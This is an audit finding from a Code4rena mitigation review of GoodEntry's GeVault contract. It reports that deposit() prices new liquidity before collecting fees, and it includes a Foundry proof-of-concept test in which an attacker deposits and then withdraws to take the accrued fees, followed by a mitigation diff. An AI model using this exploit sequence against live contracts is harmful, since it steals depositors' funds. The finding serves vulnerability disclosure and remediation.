Lines of code

https://github.com/GoodEntry-io/ge/blob/c7c7de57902e11e66c8186d93c5bb511b53a45b8/contracts/GeVault.sol#L230

Vulnerability details

The TokenisableRange fees have been reworked to be sent to the corresponding GeVault instance

This fixed the problems with fee accounting in TokenisableRange but created a new, similar one in GeVault, where the deposit function does not count the fees in the calculations for the awarded liquidity. This is because getTVL() is called before fees are collected, so it has no means to include the value hidden in un-collected fees in its calculations.

function deposit(address token, uint amount) public payable nonReentrant returns (uint liquidity) 
  {
    // ...

    // @audit this calculation is based on GeVault's balance of TokenisableRange liquidity and asset tokens
    uint vaultValueX8 = getTVL();   

    // ...
      liquidity = tSupply * valueX8 / vaultValueX8;
    // ...

    // @audit this triggers a liquidity event in the composing TokenisableRanges
    // and moves fees to GeVault's balance, *after the to-be-minted liquidity calculation is done*
    rebalance();
    require(liquidity > 0, "GEV: No Liquidity Added");
    _mint(msg.sender, liquidity);    
    emit Deposit(msg.sender, token, amount, liquidity);
  }

Impact

A potentially significant part of the accrued fees, depending of how far is GeVault from being at its TLV cap, can be stolen through a flash-loan attack.

Proof of Concept

Have a GeVault with several TokenisableRange instances
To work around my other finding: trading fees are never made available to protocol users, set this GeVault as Treasury in RoeRouter
fees are due to the TokenisableRange instances, but not yet collected & sent to GeVault
have an attacker introduce liquidity to GeVault - ideally up to the TVL cap
have the attacker remove the previously-introduced liquidity, banking in the fees

  function testGeVaultFlashLoan() public {
    // set up
    changePrank(operator);
    geVault.pushTick(address(range));

    USDC.approve(address(geVault), 100e6);
    geVault.deposit(address(USDC), 100e6);

    WETH.approve(address(geVault), 0.07e18);
    geVault.deposit(address(WETH), 0.07e18);

    // work around my other finding: `trading fees are never made available to protocol users`
    vm.etch(0x22Cc3f665ba4C898226353B672c5123c58751692, "something");
    vm.mockCall(0x22Cc3f665ba4C898226353B672c5123c58751692, 
        abi.encodeWithSelector(RoeRouter.getVault.selector), 
        abi.encode(address(geVault)));

    // simulate some fees
    uint256 fee0 = 1_000e6;
    uint256 fee1 = 2e18;

    changePrank(tokenWhale);
    vm.mockCall(address(UniswapV3UsdcNFPositionManager), 
        abi.encodeWithSelector(INonfungiblePositionManager.collect.selector), 
        abi.encode(fee0, fee1));
    USDC.transfer(address(range), fee0);
    WETH.transfer(address(range), fee1);

    // an attacker injects large liquidity in GeVault
    address attacker = address(uint160(uint256(keccak256("attacker"))));
    WETH.transfer(attacker, 4e18);

    changePrank(attacker);
    uint256 balanceBefore = WETH.balanceOf(attacker);
    WETH.approve(address(geVault), 4e18);
    uint256 liquidity = geVault.deposit(address(WETH), 4e18);    

    vm.clearMockedCalls();

    // withdraw only 90% of the liquidity because GeVault has become insolvent
    geVault.withdraw(liquidity * 9 / 10, address(WETH));
    uint256 balanceAfter = attacker.balance;

    // even with 90% of the original liquidity withdrawn, 
    // the net profit of the attack is 1.32 WETH
    console.log(balanceAfter - balanceBefore);

    // plus, the attacker has ~0.4 WETH in liquidity left in GeVault
    // which can be fully withdrawn after more users deposit in it,
    // with the effect that also the new users' positions become insolvent
  }

  receive() payable external {}

Tools Used

Code review, Foundry

Recommended Mitigation Steps

Instead of triggering a rebalance() once at the end of the deposit() function, split the operation so that getTVL() returns a quantity that does include fees:

  /// @notice deposit tokens in the pool, convert to WETH if necessary
  /// @param token Token address
  /// @param amount Amount of token deposited
  function deposit(address token, uint amount) public payable nonReentrant returns (uint liquidity) 
  {
    require(amount > 0 || msg.value > 0, "GEV: Deposit Zero");
    require(isEnabled, "GEV: Pool Disabled");
    require(token == address(token0) || token == address(token1), "GEV: Invalid Token");
    require(poolMatchesOracle(), "GEV: Oracle Error");

+    // we first collect all the assets; these will include new fees    
+    removeFromAllTicks();
    uint vaultValueX8 = getTVL();   
    uint adjBaseFee = getAdjustedBaseFee(token == address(token0));
    // Wrap if necessary and deposit here
    if (msg.value > 0){
      require(token == address(WETH), "GEV: Invalid Weth");
      // wraps ETH by sending to the wrapper that sends back WETH
      WETH.deposit{value: msg.value}();
      amount = msg.value;
    }
    else { 
      ERC20(token).safeTransferFrom(msg.sender, address(this), amount);
    }

    // Send deposit fee to treasury
    uint fee = amount * adjBaseFee / 1e4;
    ERC20(token).safeTransfer(treasury, fee);
    uint valueX8 = oracle.getAssetPrice(token) * (amount - fee) / 10**ERC20(token).decimals();

    require(tvlCap > valueX8 + vaultValueX8, "GEV: Max Cap Reached");

    uint tSupply = totalSupply();
    // initial liquidity at 1e18 token ~ $1
    if (tSupply == 0 || vaultValueX8 == 0)
      liquidity = valueX8 * 1e10;
    else {
      liquidity = tSupply * valueX8 / vaultValueX8;
    }

-    rebalance();
    require(liquidity > 0, "GEV: No Liquidity Added");
+    if (isEnabled) deployAssets();
    _mint(msg.sender, liquidity);    
    emit Deposit(msg.sender, token, amount, liquidity);
  }

Assessed type

Math

code-423n4 / 2023-09-goodentry-mitigation-findings

New from fees rework: fees can still be stolen with a flash-loan on GeVault #16